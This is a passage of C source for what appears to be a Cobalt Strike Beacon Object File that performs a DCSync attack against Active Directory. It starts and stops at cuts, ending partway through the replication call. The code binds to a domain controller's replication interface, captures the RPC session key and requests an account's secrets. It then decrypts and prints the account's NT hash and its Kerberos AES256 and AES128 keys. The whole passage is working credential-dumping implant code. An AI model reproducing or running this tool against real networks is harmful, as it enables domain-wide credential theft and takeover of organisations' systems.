== 0 && propertyData[1] == 0 && propertyData[2] == 0 && \n        propertyData[3] >= 1 && propertyData[3] <= 3) {\n        structStart += 4;\n    }\n    \n    // Read structure revision (big-endian USHORT at offset +0)\n    USHORT revision = *(USHORT*)(structStart + 0);\n    revision = ((revision & 0xFF) << 8) | ((revision >> 8) & 0xFF);\n    BOOL isRevision0 = (revision == 0);\n    \n    // Read credential count (position varies by revision, big-endian)\n    USHORT credCount = *(USHORT*)(structStart + (isRevision0 ? 2 : 4));\n    credCount = ((credCount & 0xFF) << 8) | ((credCount >> 8) & 0xFF);\n    if (credCount == 0 || credCount > 100) credCount = 3;\n    \n    // Read salt length (position varies by revision, big-endian)\n    USHORT saltLen = *(USHORT*)(structStart + (isRevision0 ? 6 : 12));\n    saltLen = ((saltLen & 0xFF) << 8) | ((saltLen >> 8) & 0xFF);\n    if (saltLen == 0 || saltLen > 500) return FALSE;\n    \n    // Build search string to locate salt end based on account type\n    // Trust accounts: uppercase domain FQDN + \"krbtgt\" + samAccountName (without $)\n    // Computer account: uppercase FQDN + \"host\" + lowercase machine FQDN\n    // User accounts: username as-is\n    char searchName[256];\n    DWORD searchLen = 0;\n    DWORD nameLen = 0;\n    while (samAccountName[nameLen] != '\\0' && nameLen < 128) nameLen++;\n    \n    if (accountType == SAM_TRUST_ACCOUNT) {\n        const char* domain = NULL;\n        if (dcHostname) {\n            for (DWORD i = 0; dcHostname[i] != '\\0'; i++) {\n                if (dcHostname[i] == '.') {\n                    domain = &dcHostname[i + 1];\n                    break;\n                }\n            }\n        }\n        if (domain && domain[0] != '\\0') {\n            // Add uppercase domain\n            for (DWORD i = 0; domain[i] != '\\0' && searchLen < 230; i++) {\n                searchName[searchLen++] = domain[i];\n            }\n            // Append \"krbtgt\"\n            if (searchLen + 6 < 255) {\n                searchName[searchLen++] = 'k';\n                searchName[searchLen++] = 'r';\n                searchName[searchLen++] = 'b';\n                searchName[searchLen++] = 't';\n                searchName[searchLen++] = 'g';\n                searchName[searchLen++] = 't';\n            }\n            // Append samAccountName (without trailing $)\n            DWORD trustNameLen = nameLen;\n            if (trustNameLen > 0 && samAccountName[trustNameLen - 1] == '$') trustNameLen--;\n            for (DWORD i = 0; i < trustNameLen && searchLen < 255; i++) {\n                searchName[searchLen++] = samAccountName[i];\n            }\n        }\n    } else if (accountType == SAM_MACHINE_ACCOUNT) {\n        const char* domain = NULL;\n        if (dcHostname) {\n            for (DWORD i = 0; dcHostname[i] != '\\0'; i++) {\n                if (dcHostname[i] == '.') {\n                    domain = &dcHostname[i + 1];\n                    break;\n                }\n            }\n        }\n        \n        if (domain && domain[0] != '\\0') {\n            // Add uppercase domain FQDN\n            for (DWORD i = 0; domain[i] != '\\0' && searchLen < 200; i++) {\n                searchName[searchLen++] = domain[i];\n            }\n        }\n        \n        // Append \"host\"\n        if (searchLen + 4 < 255) {\n            searchName[searchLen++] = 'h';\n            searchName[searchLen++] = 'o';\n            searchName[searchLen++] = 's';\n            searchName[searchLen++] = 't';\n        }\n        \n        // Add lowercase computer name (without trailing $)\n        DWORD compNameLen = nameLen;\n        if (nameLen > 0 && samAccountName[nameLen - 1] == '$') compNameLen--;\n        \n        for (DWORD i = 0; i < compNameLen && searchLen < 254; i++) {\n            searchName[searchLen++] = samAccountName[i];\n        }\n        \n        if (domain && domain[0] != '\\0') {\n            searchName[searchLen++] = '.';\n            for (DWORD i = 0; domain[i] != '\\0' && searchLen < 255; i++) {\n                searchName[searchLen++] = domain[i];\n            }\n        }\n    } else {\n        // User account (SAM_USER_OBJECT): uppercase FQDN + samAccountName\n        /*\n        // This is optional, causes issues with Administrator account. disabled for now\n        const char* domain = NULL;\n        if (dcHostname) {\n            for (DWORD i = 0; dcHostname[i] != '\\0'; i++) {\n                if (dcHostname[i] == '.') {\n                    domain = &dcHostname[i + 1];\n                    break;\n                }\n            }\n        }\n        \n        if (domain && domain[0] != '\\0') {\n            // Add uppercase domain FQDN\n            for (DWORD i = 0; domain[i] != '\\0' && searchLen < 200; i++) {\n                char c = domain[i];\n                if (c >= 'a' && c <= 'z') c -= ('a' - 'A');  // uppercase\n                searchName[searchLen++] = c;\n            }\n        }\n        */\n        \n        // Append samAccountName as-is\n        for (DWORD i = 0; i < nameLen && searchLen < 255; i++) {\n            searchName[searchLen++] = samAccountName[i];\n        }\n    }\n    \n    // Convert to UTF-16LE for searching\n    BYTE searchUTF16[512];\n    for (DWORD i = 0; i < searchLen; i++) {\n        searchUTF16[i * 2] = searchName[i];\n        searchUTF16[i * 2 + 1] = 0x00;\n    }\n    DWORD searchUTF16Len = searchLen * 2;\n    \n    // Find salt end by locating the search string (case-insensitive)\n    DWORD descriptorStart = isRevision0 ? 32 : 28;\n    DWORD matchOffset = 0xFFFFFFFF;\n    for (DWORD i = descriptorStart + 20; i + searchUTF16Len <= propertyLen; i++) {\n        BOOL match = TRUE;\n        for (DWORD j = 0; j < searchUTF16Len; j++) {\n            BYTE propertyByte = propertyData[i + j];\n            BYTE searchByte = searchUTF16[j];\n            \n            // Case-insensitive comparison for ASCII letters in UTF-16LE (even positions only)\n            if (j % 2 == 0) {\n                // Convert to uppercase for comparison\n                if (propertyByte >= 'a' && propertyByte <= 'z') propertyByte -= ('a' - 'A');\n                if (searchByte >= 'a' && searchByte <= 'z') searchByte -= ('a' - 'A');\n            }\n            \n            if (propertyByte != searchByte) {\n                match = FALSE;\n                break;\n            }\n        }\n        if (match) {\n            matchOffset = i;\n            break;\n        }\n    }\n    \n    if (matchOffset == 0xFFFFFFFF) return FALSE;\n    \n    // Calculate salt boundaries\n    DWORD saltEnd = matchOffset + searchUTF16Len;\n    \n    // Need at least 48 bytes for AES256 (32) + AES128 (16)\n    if (propertyLen - saltEnd < 48) {\n        return FALSE;\n    }\n    \n    // Keys are stored after salt as raw binary data\n    DWORD scanStart = saltEnd;\n    \n    for (DWORD tryOffset = scanStart; tryOffset + 48 <= propertyLen; tryOffset++) {\n        // Check if this looks like binary key data vs UTF-16LE text\n        DWORD zeroCount = 0;\n        DWORD evenZeros = 0;   // Zeros at even positions (0, 2, 4...)\n        DWORD oddZeros = 0;    // Zeros at odd positions (1, 3, 5...)\n        DWORD highBitCount = 0; // Bytes >= 0x80\n        \n        for (DWORD i = 0; i < 48; i++) {\n            BYTE b = propertyData[tryOffset + i];\n            if (b == 0x00) {\n                zeroCount++;\n                if (i % 2 == 0) evenZeros++;\n                else oddZeros++;\n            }\n            if (b >= 0x80) highBitCount++;\n        }\n        \n        // Skip if this looks like UTF-16LE text\n        // User account keys may have more zeros than machine/trust keys\n        if (oddZeros > 5) continue;  // Too many odd zeros = UTF-16LE pattern  \n        if (zeroCount > 30) continue;  // More than ~60% zeros = likely padding\n        if (highBitCount < 5) continue;  // Need some high-bit bytes for randomness\n        \n        // This looks like binary data - validate entropy\n        char tempAES256[65] = {0};\n        char tempAES128[33] = {0};\n        BytesToHex(propertyData + tryOffset, 32, tempAES256);\n        BytesToHex(propertyData + tryOffset + 32, 16, tempAES128);\n        \n        // Check for good entropy (not all same characters)\n        DWORD sameCount256 = 0, sameCount128 = 0;\n        for (int i = 1; i < 64; i++) {\n            if (tempAES256[i] == tempAES256[i-1]) sameCount256++;\n        }\n        for (int i = 1; i < 32; i++) {\n            if (tempAES128[i] == tempAES128[i-1]) sameCount128++;\n        }\n        if (sameCount256 > 50 || sameCount128 > 25) continue;\n        \n        // Found valid keys\n        if (aes256Out) MSVCRT$memcpy(aes256Out, tempAES256, 65);\n        if (aes128Out) MSVCRT$memcpy(aes128Out, tempAES128, 33);\n        return TRUE;\n    }\n    \n    return FALSE;\n}\n\nvoid InitDRSRequest(DRS_MSG_GETCHGREQ* request, const GUID* dcGuid, DSNAME* targetDsname) {\n    if (!request) return;\n    \n    MSVCRT$memset(request, 0, sizeof(DRS_MSG_GETCHGREQ));\n    \n    if (dcGuid) {\n        MSVCRT$memcpy(&request->V8.uuidDsaObjDest, dcGuid, sizeof(GUID));\n    }\n    \n    request->V8.pNC = targetDsname;\n    MSVCRT$memset(&request->V8.uuidInvocIdSrc, 0, sizeof(UUID));\n    MSVCRT$memset(&request->V8.usnvecFrom, 0, sizeof(USN_VECTOR));\n    request->V8.pUpToDateVecDest = NULL;\n    request->V8.ulFlags = DRS_INIT_SYNC | DRS_WRIT_REP | DRS_NEVER_SYNCED | DRS_FULL_SYNC_NOW | DRS_SYNC_URGENT;\n    // Maybe DRS_SPECIAL_SECRET_PROCESSING?\n    request->V8.cMaxObjects = 1;\n    request->V8.cMaxBytes = 0xA00000;\n    request->V8.ulExtendedOp = EXOP_REPL_OBJ;\n    MSVCRT$memset(&request->V8.liFsmoInfo, 0, sizeof(ULARGE_INTEGER));\n    request->V8.pPartialAttrSet = NULL;\n    request->V8.pPartialAttrSetEx = NULL;\n    request->V8.PrefixTableDest.PrefixCount = 0;\n    request->V8.PrefixTableDest.pPrefixEntry = NULL;\n}\n\nDSNAME* BuildDSName(const char* dn, const GUID* guid) {\n    if (!dn) return NULL;\n    \n    size_t dnLen = MSVCRT$strlen(dn);\n    if (dnLen > 4096) return NULL; // Sanity check\n    wchar_t* wDn = CharToWChar(dn);\n    if (!wDn) return NULL;\n    \n    size_t wDnLen = 0;\n    while (wDn[wDnLen] != 0) wDnLen++;\n    \n    // Calculate structure size properly using FIELD_OFFSET\n    // DSNAME has: structLen, SidLen, Guid, Sid (28 bytes), NameLen, StringName[1]\n    // We need: base structure + space for (wDnLen) wide chars (StringName[1] already counts for 1)\n    // NOTE: structLen should include the null terminator\n    DWORD structLen = (DWORD)(sizeof(DSNAME) - sizeof(WCHAR) + ((wDnLen + 1) * sizeof(WCHAR)));\n    \n    DSNAME* dsname = (DSNAME*)MSVCRT$malloc(structLen);\n    if (!dsname) {\n        MSVCRT$free(wDn);\n        return NULL;\n    }\n    \n    MSVCRT$memset(dsname, 0, structLen);\n    dsname->structLen = structLen;\n    dsname->NameLen = (DWORD)wDnLen;  // Length WITHOUT null terminator\n    dsname->SidLen = 0;  // Not providing SID\n    \n    // Copy GUID if provided\n    if (guid) {\n        MSVCRT$memcpy(&dsname->Guid, guid, sizeof(GUID));\n    } else {\n        MSVCRT$memset(&dsname->Guid, 0, sizeof(GUID));\n    }\n    \n    // Copy the wide string DN (including null terminator)\n    for (size_t i = 0; i <= wDnLen; i++) {  // <= to include null terminator\n        dsname->StringName[i] = wDn[i];\n    }\n    \n    MSVCRT$free(wDn);\n    return dsname;\n}\n\nRPC_BINDING_HANDLE CreateDRSBinding(const char* dcHostname) {\n    RPC_BINDING_HANDLE binding = NULL;\n    unsigned char* stringBinding = NULL;\n    RPC_STATUS status;\n    \n    // Build RPC string binding for DRSUAPI\n    // Format: ncacn_ip_tcp:hostname[endpoint]\n    status = RPCRT4$RpcStringBindingComposeA(\n        NULL,                           // Object UUID\n        (unsigned char*)\"ncacn_ip_tcp\", // Protocol sequence\n        (unsigned char*)dcHostname,     // Network address\n        NULL,                           // Use dynamic endpoint\n        NULL,                           // No options\n        &stringBinding\n    );\n    \n    if (status != RPC_S_OK) {\n        ERROR_PRINT( \"[-] Failed to compose RPC string binding: 0x%x\", status);\n        return NULL;\n    }\n    \n    // Create binding handle\n    status = RPCRT4$RpcBindingFromStringBindingA(stringBinding, &binding);\n    RPCRT4$RpcStringFreeA(&stringBinding);\n    \n    if (status != RPC_S_OK) {\n        ERROR_PRINT( \"[-] Failed to create RPC binding: 0x%x\", status);\n        return NULL;\n    }\n    \n    // Set authentication info (use Kerberos/NTLM via NEGOTIATE)\n    // Use NULL for SPN to let RPC determine the correct service principal\n    status = RPCRT4$RpcBindingSetAuthInfoA(\n        binding,\n        NULL,                           // Let RPC determine SPN\n        RPC_C_AUTHN_LEVEL_PKT_PRIVACY,\n        RPC_C_AUTHN_GSS_NEGOTIATE,\n        NULL,                           // Use current credentials\n        RPC_C_AUTHZ_NAME\n    );\n    \n    if (status != RPC_S_OK) {\n        ERROR_PRINT( \"[-] Failed to set RPC auth info: 0x%x\", status);\n        RPCRT4$RpcBindingFree(&binding);\n        return NULL;\n    }\n    \n    // Register security callback to capture session key during authentication\n    status = RPCRT4$RpcBindingSetOption(binding, RPC_C_OPT_SECURITY_CALLBACK, (ULONG_PTR)RpcSecurityCallback);\n    if (status != RPC_S_OK) {\n        ERROR_PRINT( \"[-] Failed to set security callback: 0x%x\", status);\n        RPCRT4$RpcBindingFree(&binding);\n        return NULL;\n    }\n\n    return binding;\n}\n\nDRS_HANDLE BindToDRS(RPC_BINDING_HANDLE rpcBinding) {\n    DRS_HANDLE drsHandle = NULL;\n    DRS_EXTENSIONS_INT* extClient = NULL;\n    DRS_EXTENSIONS_INT* extServer = NULL;\n    UUID clientDsaUuid;\n    ULONG result;\n    \n    // Generate a random client DSA UUID\n    RPCRT4$UuidCreate(&clientDsaUuid);\n    \n    // Create DRS_EXTENSIONS_INT structure\n    extClient = (DRS_EXTENSIONS_INT*)MSVCRT$malloc(sizeof(DRS_EXTENSIONS_INT));\n    if (!extClient) {\n        return NULL;\n    }\n    MSVCRT$memset(extClient, 0, sizeof(DRS_EXTENSIONS_INT));\n    \n    extClient->cb = sizeof(DRS_EXTENSIONS_INT);\n    extClient->dwFlags = 0x1FFFFFFF;  // All modern capabilities\n    extClient->Pid = 0;\n    extClient->dwReplEpoch = 0;\n    \n    // Call IDL_DRSBind using the Microsoft RPC stub\n    result = IDL_DRSBind(\n        rpcBinding,\n        &clientDsaUuid,\n        extClient,\n        &extServer,\n        &drsHandle\n    );\n    \n    MSVCRT$free(extClient);\n    MSVCRT$free(extServer);\n    \n    if (result != 0) {\n        ERROR_PRINT( \"[-] DRSBind failed: 0x%x\", result);\n        return NULL;\n    }\n\n    return drsHandle;\n}\n\nDWORD GetRIDFromSID(const BYTE* sid, DWORD sidLen) {\n    if (!sid || sidLen < 12) return 0;\n    \n    // SID structure: Revision (1) + SubAuthCount (1) + Authority (6) + SubAuths (4 * count)\n    // RID is the last SubAuth value\n    BYTE subAuthCount = sid[1];\n    if (sidLen < (8 + (subAuthCount * 4))) return 0;\n    \n    DWORD offset = 8 + ((subAuthCount - 1) * 4);\n    DWORD rid = *(DWORD*)(sid + offset);\n    \n    return rid;\n}\n\nvoid ProcessCredentials(REPLENTINFLIST* objects, const char* samAccountName, const char* distinguishedName, const char* dcHostname, const BYTE* sessionKey, DWORD sessionKeyLen, int onlyNT) {\n    if (!objects) return;\n    \n    char ntHash[33] = {0};\n    char lmHash[33] = {0};\n    char aes256Key[65] = {0};\n    char aes128Key[33] = {0};\n    BOOL foundNT = FALSE;\n    BOOL foundLM = FALSE;\n    BOOL foundAES256 = FALSE;\n    BOOL foundAES128 = FALSE;\n    DWORD userRID = 0;\n    DWORD accountType = SAM_USER_OBJECT;  // Default to user account\n    \n    // Iterate through returned objects\n    REPLENTINFLIST* current = objects;\n    while (current) {\n        ENTINF* entinf = &current->Entinf;\n        ATTRBLOCK* attrBlock = &entinf->AttrBlock;\n        \n        // FIRST PASS: Extract RID and account type (needed for decryption and salt construction)\n        for (ULONG i = 0; i < attrBlock->attrCount; i++) {\n            ATTR* attr = &attrBlock->pAttr[i];\n            ATTRTYP attrType = attr->attrTyp;\n            \n            if (attrType == ATT_OBJECT_SID && attr->AttrVal.valCount > 0) {\n                ATTRVAL* val = &attr->AttrVal.pAVal[0];\n                userRID = GetRIDFromSID(val->pVal, val->valLen);\n            }\n            else if (attrType == ATT_SAM_ACCOUNT_TYPE && attr->AttrVal.valCount > 0) {\n                ATTRVAL* val = &attr->AttrVal.pAVal[0];\n                if (val->valLen == 4) {\n                    accountType = *(DWORD*)(val->pVal);\n                }\n            }\n        }\n        \n        // SECOND PASS: Process all attributes with correct RID\n        for (ULONG i = 0; i < attrBlock->attrCount; i++) {\n            ATTR* attr = &attrBlock->pAttr[i];\n            ATTRTYP attrType = attr->attrTyp;\n            \n            // NT hash (unicodePwd) - ATTRTYP should be 0x9005A\n            if (attrType == ATT_UNICODE_PWD && attr->AttrVal.valCount > 0) {\n                ATTRVAL* val = &attr->AttrVal.pAVal[0];\n                \n                // Modern AD uses encrypted blob format with structure:\n                // For 36 bytes: [4 byte header] + [16 byte salt] + [16 byte encrypted hash]\n                // For 20 bytes: [4 byte header] + [16 byte encrypted hash]  \n                // For 16 bytes: [16 byte encrypted hash] (simple RC4)\n                \n                if (val->valLen == 16) {\n                    BYTE decrypted[16];\n                    BYTE ridBytes[4];\n                    *(DWORD*)ridBytes = userRID;\n                    \n                    if (DecryptRC4(val->pVal, 16, ridBytes, decrypted)) {\n                        BytesToHex(decrypted, 16, ntHash);\n                        foundNT = TRUE;\n                    }\n                } else if (val->valLen == 20) {\n                    BYTE decrypted[16];\n                    BYTE ridBytes[4];\n                    *(DWORD*)ridBytes = userRID;\n                    \n                    if (DecryptRC4(val->pVal + 4, 16, ridBytes, decrypted)) {\n                        BytesToHex(decrypted, 16, ntHash);\n                        foundNT = TRUE;\n                    }\n                } else if (val->valLen == 36 || val->valLen == 40) {\n                    BYTE decrypted[32];\n                    BOOL decryptSuccess = FALSE;\n                    BYTE ridBytes[4];\n                    *(DWORD*)ridBytes = userRID;\n                    \n                    if (sessionKey && sessionKeyLen > 0) {\n                        DWORD outputLen = 0;\n                        BYTE sessionDecrypted[32];\n                        if (DecryptWithSessionKey(val->pVal, val->valLen, sessionKey, sessionKeyLen, sessionDecrypted, &outputLen)) {\n                            if (outputLen >= 16) {\n                                BYTE ridDecrypted[16];\n                                if (DecryptDESWithRid(sessionDecrypted, userRID, ridDecrypted)) {\n                                    MSVCRT$memcpy(decrypted, ridDecrypted, 16);\n                                    BytesToHex(decrypted, 16, ntHash);\n                                    foundNT = TRUE;\n                                    decryptSuccess = TRUE;\n                                }\n                            }\n                        }\n                    }\n                    \n                    if (!decryptSuccess) {\n                        BYTE ridDecrypted[16];\n                        if (DecryptRC4(val->pVal + 20, 16, ridBytes, ridDecrypted) && ridDecrypted[0] != 0 && ridDecrypted[0] != 0xFF) {\n                            BytesToHex(ridDecrypted, 16, ntHash);\n                            foundNT = TRUE;\n                            decryptSuccess = TRUE;\n                        }\n                    }\n                    \n                    if (!decryptSuccess) {\n                        BYTE ridDecrypted[16];\n                        if (DecryptRC4(val->pVal + 4, 16, ridBytes, ridDecrypted) && ridDecrypted[0] != 0 && ridDecrypted[0] != 0xFF) {\n                            BytesToHex(ridDecrypted, 16, ntHash);\n                            foundNT = TRUE;\n                            decryptSuccess = TRUE;\n                        }\n                    }\n                    \n                    if (!decryptSuccess && DecryptRC4(val->pVal, 16, ridBytes, decrypted) && decrypted[0] != 0 && decrypted[0] != 0xFF) {\n                        BytesToHex(decrypted, 16, ntHash);\n                        foundNT = TRUE;\n                        decryptSuccess = TRUE;\n                    }\n                }\n            }\n            \n            if (attrType == 0x9007D && attr->AttrVal.valCount > 0) {\n                ATTRVAL* val = &attr->AttrVal.pAVal[0];\n                if (val->valLen > 65536) continue; // Sanity check\n                BYTE* decrypted = (BYTE*)MSVCRT$malloc(val->valLen);\n                if (!decrypted) continue;\n                {\n                    BYTE ridBytes[4];\n                    *(DWORD*)ridBytes = userRID;\n                    \n                    BOOL decryptSuccess = FALSE;\n                    \n                    if (sessionKey && sessionKeyLen > 0 && val->valLen > 108) {\n                        DWORD sessionDecryptedLen = 0;\n                        BYTE* sessionDecrypted = (BYTE*)MSVCRT$malloc(val->valLen);\n                        if (!sessionDecrypted) {\n                            MSVCRT$free(decrypted);\n                            continue;\n                        }\n                        \n                        if (DecryptWithSessionKey(val->pVal, val->valLen, sessionKey, sessionKeyLen, sessionDecrypted, &sessionDecryptedLen)) {\n                            MSVCRT$memcpy(decrypted, sessionDecrypted, sessionDecryptedLen);\n                            decryptSuccess = TRUE;\n                        }\n                        \n                        if (sessionDecrypted) MSVCRT$free(sessionDecrypted);\n                    }\n                    \n                    if (!decryptSuccess) {\n                        if (DecryptRC4(val->pVal, val->valLen, ridBytes, decrypted)) {\n                            decryptSuccess = TRUE;\n                        }\n                    }\n                    \n                    if (decryptSuccess) {\n                        // USER_PROPERTIES structure:\n                        // typedef struct _USER_PROPERTIES {\n                        //   DWORD Reserved1;         // offset 0 (4 bytes) - should be 0\n                        //   DWORD Length;            // offset 4 (4 bytes) - length of UserProperties data\n                        //   WORD Reserved2;          // offset 8 (2 bytes)\n                        //   WORD Reserved3;          // offset 10 (2 bytes)\n                        //   BYTE Reserved4[96];      // offset 12-107 (96 bytes)\n                        //   BYTE UserProperties[1];  // offset 108+\n                        // } USER_PROPERTIES;\n                        \n                        if (val->valLen < 108) {\n                            ERROR_PRINT( \"[!] Buffer too small for USER_PROPERTIES\");\n                            MSVCRT$free(decrypted);\n                            continue;\n                        }\n                        \n                        DWORD* pLength = (DWORD*)(decrypted + 4);\n                        BYTE* propertyData = decrypted + 108;\n                        DWORD propertyLen = val->valLen - 108;\n                        \n                        if (*pLength > 0 && *pLength <= (val->valLen - 108)) {\n                            propertyLen = *pLength;\n                        }\n                        \n                        for (DWORD i = 0; i < propertyLen - 40; i++) {\n                            if (propertyData[i] == 'P' && propertyData[i+1] == 0x00 &&\n                                propertyData[i+2] == 'r' && propertyData[i+3] == 0x00 &&\n                                propertyData[i+4] == 'i' && propertyData[i+5] == 0x00 &&\n                                propertyData[i+6] == 'm' && propertyData[i+7] == 0x00) {\n                                \n                                char packageName[128] = {0};\n                                int nameIdx = 0;\n                                for (int j = 0; j < 200 && (i + j) < propertyLen && nameIdx < 127; j += 2) {\n                                    BYTE ch = propertyData[i + j];\n                                    BYTE null = propertyData[i + j + 1];\n                                    \n                                    if (ch == 0 && null == 0) break;\n                                    if (null != 0) break;\n                                    if (ch < 0x20 || ch > 0x7E) break;\n                                    \n                                    packageName[nameIdx++] = ch;\n                                }\n                                packageName[nameIdx] = '\\0';\n                                \n                                if (nameIdx > 8 && MSVCRT$strstr(packageName, \"Kerberos\")) {\n                                    DWORD dataStart = i + (nameIdx * 2) + 2;\n                                    if (dataStart >= propertyLen) break;\n                                    DWORD remainingLen = propertyLen - dataStart;\n                                    if (remainingLen > 32768) break; // Sanity check\n                                    \n                                    BYTE* decodedValue = (BYTE*)MSVCRT$malloc(remainingLen / 2 + 1);\n                                    if (!decodedValue) break;\n                                    {\n                                        DWORD decodedLen = HexToBinary(propertyData + dataStart, remainingLen, decodedValue);\n                                        \n                                        if (decodedLen > 0) {\n                                            if (ParseKerberosKeys(decodedValue, decodedLen, samAccountName, dcHostname, accountType, aes256Key, aes128Key)) {\n                                                if (aes256Key[0] != '\\0') foundAES256 = TRUE;\n                                                if (aes128Key[0] != '\\0') foundAES128 = TRUE;\n                                            }\n                                        }\n                                        \n                                        MSVCRT$free(decodedValue);\n                                    }\n                                }\n                            }\n                        }\n                    }\n                    \n                    MSVCRT$free(decrypted);\n                }\n            }\n        }\n        \n        current = current->pNextEntInf;\n    }\n    \n    // Extract domain from DN (DC=child,DC=contoso,DC=local -> child.contoso.local)\n    char domainName[256] = {0};\n    DWORD domainLen = 0;\n    if (distinguishedName) {\n        const char* p = distinguishedName;\n        while (*p) {\n            // Find \"DC=\" or \"dc=\"\n            if ((p[0] == 'D' || p[0] == 'd') && (p[1] == 'C' || p[1] == 'c') && p[2] == '=') {\n                p += 3; // Skip \"DC=\"\n                // Add separator if not first component\n                if (domainLen > 0 && domainLen < 255) {\n                    domainName[domainLen++] = '.';\n                }\n                // Copy until comma or end\n                while (*p && *p != ',' && domainLen < 255) {\n                    domainName[domainLen++] = *p++;\n                }\n            } else {\n                p++;\n            }\n        }\n        domainName[domainLen] = '\\0';\n    }\n    \n    if (accountType == SAM_USER_OBJECT) {\n        if (domainLen > 0)\n            OUTPUT_PRINT(\"\\n[*] User: %s\\\\%s\", domainName, samAccountName);\n        else\n            OUTPUT_PRINT(\"\\n[*] User: %s\", samAccountName);\n    } else if (accountType == SAM_MACHINE_ACCOUNT) {\n        if (domainLen > 0)\n            OUTPUT_PRINT(\"\\n[*] Computer: %s\\\\%s\", domainName, samAccountName);\n        else\n            OUTPUT_PRINT(\"\\n[*] Computer: %s\", samAccountName);\n    } else if (accountType == SAM_TRUST_ACCOUNT) {\n        if (domainLen > 0)\n            OUTPUT_PRINT(\"\\n[*] Trust account: %s\\\\%s\", domainName, samAccountName);\n        else\n            OUTPUT_PRINT(\"\\n[*] Trust account: %s\", samAccountName);\n    } else {\n        if (domainLen > 0)\n            OUTPUT_PRINT(\"\\n[*] Object: %s\\\\%s\", domainName, samAccountName);\n        else\n            OUTPUT_PRINT(\"\\n[*] Object: %s\", samAccountName);\n    }\n\n    // OUTPUT_PRINT(\"  %s\", samAccountName);\n    if (foundNT) OUTPUT_PRINT(\"  nt:\\t%s\", ntHash);\n    if (!onlyNT) {\n        if (foundAES256) OUTPUT_PRINT(\"  aes256:\\t%s\", aes256Key);\n        if (foundAES128) OUTPUT_PRINT(\"  aes128:\\t%s\", aes128Key);\n    }\n}\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n    \n    // Parse arguments\n    char* target = BeaconDataExtract(&parser, NULL);        // Username or DN\n    int isDN = BeaconDataInt(&parser);                      // 0 = username, 1 = DN\n    char* ouPath = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n    int onlyNT = BeaconDataInt(&parser);\n    \n    // Variables for cleanup\n    RPC_BINDING_HANDLE rpcBinding = NULL;\n    DRS_HANDLE drsHandle = NULL;\n    DSNAME* targetDsname = NULL;\n    PARTIAL_ATTR_VECTOR_V1_EXT* pPartialAttrSet = NULL;\n    PrefixTableEntry* prefixEntries = NULL;\n    unsigned char* oidCopies[10];  // Array to hold OID pointers for prefix table\n    DWORD oidCopyCount = 0;  // Track how many OIDs were allocated\n    char* dcHostname = NULL;\n    LDAP* ld = NULL;\n    DC_CONTEXT* dcContext = NULL;\n    USER_LDAP_INFO* userInfo = NULL;\n    \n    // Initialize OID array\n    MSVCRT$memset(oidCopies, 0, sizeof(oidCopies));\n    \n    // Reset session key capture for this run\n    g_SessionKeyCapturing = 0;\n    g_SessionKeyCopyLen = 0;\n    MSVCRT$memset(g_SessionKeyCopy, 0, sizeof(g_SessionKeyCopy));\n    \n    if (!target || MSVCRT$strlen(target) == 0) {\n        ERROR_PRINT( \"[-] No target specified\");\n        return;\n    }\n    \n    // Initialize LDAP connection\n    ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        ERROR_PRINT( \"[-] Failed to initialize LDAP\");\n        return;\n    }\n    \n    // Get DC context (defaultNamingContext + DC GUID)\n    dcContext = GetDCContext(ld, dcHostname);\n    if (!dcContext) {\n        ERROR_PRINT( \"[-] Failed to get DC context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n    \n    // Get user info (DN, sAMAccountName, GUID)\n    char* searchBase = (ouPath && MSVCRT$strlen(ouPath) > 0) ? ouPath : dcContext->defaultNamingContext;\n    userInfo = GetUserInfo(ld, target, searchBase, isDN);\n    \n    if (!userInfo) {\n        ERROR_PRINT( \"[-] Could not find user: %s\", target);\n        FreeDCContext(dcContext);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    // Done with LDAP\n    CleanupLDAP(ld);    // Create RPC binding to DRSUAPI\n    rpcBinding = CreateDRSBinding(dcHostname);\n    if (!rpcBinding) {\n        ERROR_PRINT( \"[-] Failed to create DRSUAPI binding\");\n        FreeUserInfo(userInfo);\n        FreeDCContext(dcContext);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        return;\n    }\n    \n    // Bind to DRS interface\n    drsHandle = BindToDRS(rpcBinding);\n    if (!drsHandle) {\n        RPCRT4$RpcBindingFree(&rpcBinding);\n        FreeUserInfo(userInfo);\n        FreeDCContext(dcContext);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        return;\n    }\n    \n    KERNEL32$Sleep(100); // Small delay for drs response and session key syncing\n    \n    // Copy session key from callback's static buffer (if captured)\n    BYTE* sessionKey = NULL;\n    DWORD sessionKeyLen = 0;\n    \n    if (g_SessionKeyCopyLen > 0 && g_SessionKeyCopyLen <= 256) {\n        sessionKey = (BYTE*)MSVCRT$malloc(g_SessionKeyCopyLen);\n        if (sessionKey) {\n            MSVCRT$memcpy(sessionKey, g_SessionKeyCopy, g_SessionKeyCopyLen);\n            sessionKeyLen = g_SessionKeyCopyLen;\n        }\n    }\n    \n    // Build DSNAME for the target object with GUID\n    targetDsname = BuildDSName(userInfo->distinguishedName, &userInfo->objectGuid);\n    \n    if (!targetDsname) {\n        ERROR_PRINT( \"[-] Failed to build DSNAME structure for target\");\n        goto cleanup;\n    }\n    \n    // Prepare GetNCChanges request (V8)\n    DRS_MSG_GETCHGREQ request;\n    InitDRSRequest(&request, &dcContext->dcObjectGuid, targetDsname);\n\n    if (request.V8.PrefixTableDest.pPrefixEntry) {\n        for (DWORD i = 0; i < request.V8.PrefixTableDest.PrefixCount && i < 15; i++) {\n            char oidHex[128] = {0};\n            for (DWORD j = 0; j < request.V8.PrefixTableDest.pPrefixEntry[i].prefix.length && j < 16; j++) {\n                char byte[8];\n                MSVCRT$_snprintf(byte, sizeof(byte), \"%02X \", request.V8.PrefixTableDest.pPrefixEntry[i].prefix.elements[j]);\n                MSVCRT$strcat(oidHex, byte);\n            }\n\n        }\n    }\n\n    // Make the DRSGetNCChanges call\n    DWORD outVersion = 0;\n    DRS_MSG_GETCHGREPLY reply;\n    MSVCRT$memset(&reply, 0, sizeof(reply));\n    \n    // Using V8 request (gets V1 or V6 reply)\n    ULONG result = IDL_DRSGetNCChanges(\n        drsHandle,\n        8,\n        &request,\n        